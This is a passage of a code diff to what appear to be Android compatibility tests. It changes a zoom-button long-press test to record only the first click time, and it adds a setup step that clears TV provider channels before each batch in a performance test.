+ CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mZoomButton,
+ longPressWait);
+
+ final Long callbackFirstInvocationTime = zoomClickListener.getTimeOfFirstClick();
+ assertNotNull("Expecting at least one callback", callbackFirstInvocationTime);
+
+ // Verify that the first callback is fired after the system-level long press timeout.
+ final long minTimeUntilFirstInvocationMs = ViewConfiguration.getLongPressTimeout();
+ final long actualTimeUntilFirstInvocationNs = callbackFirstInvocationTime - startTime;
+ assertTrue("First callback not during long press timeout was "
+ + actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI
+ + " while long press timeout is " + minTimeUntilFirstInvocationMs,
+ (callbackFirstInvocationTime - startTime)
+ > minTimeUntilFirstInvocationMs * NANOS_IN_MILLI);
+ assertTrue("First callback should have happened sooner than "
+ + actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI,
+ (callbackFirstInvocationTime - startTime)
+ <= (minTimeUntilFirstInvocationMs + 100) * NANOS_IN_MILLI);
}
}
private static class ZoomClickListener implements View.OnClickListener {
- private List<Long> mClickTimes = new ArrayList<>();
+ private Long mTimeOfFirstClick = null;
public void reset() {
- mClickTimes.clear();
+ mTimeOfFirstClick = null;
}
- public List<Long> getClickTimes() {
- return Collections.unmodifiableList(mClickTimes);
+ public Long getTimeOfFirstClick() {
+ return mTimeOfFirstClick;
}
public void onClick(View v) {
- // Add the current system time to the tracker list
- mClickTimes.add(System.nanoTime());
+ if (mTimeOfFirstClick == null) {
+ // Mark the current system time as the time of first click
+ mTimeOfFirstClick = System.nanoTime();
+ }
}
}
}
diff --git a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
index e9c7ae0..e18df4c 100644
--- a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
+++ b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
@@ -86,6 +86,11 @@
final int TRANSACTION_SIZE = 1000;
double[] applyBatchTimes = MeasureTime.measure(TRANSACTION_RUNS, new MeasureRun() {
@Override
+ public void prepare(int i) {
+ mContentResolver.delete(Channels.CONTENT_URI, null, null);
+ }
+
+ @Override
public void run(int i) {
operations.clear();
for (int j = 0; j < TRANSACTION_SIZE; ++j) {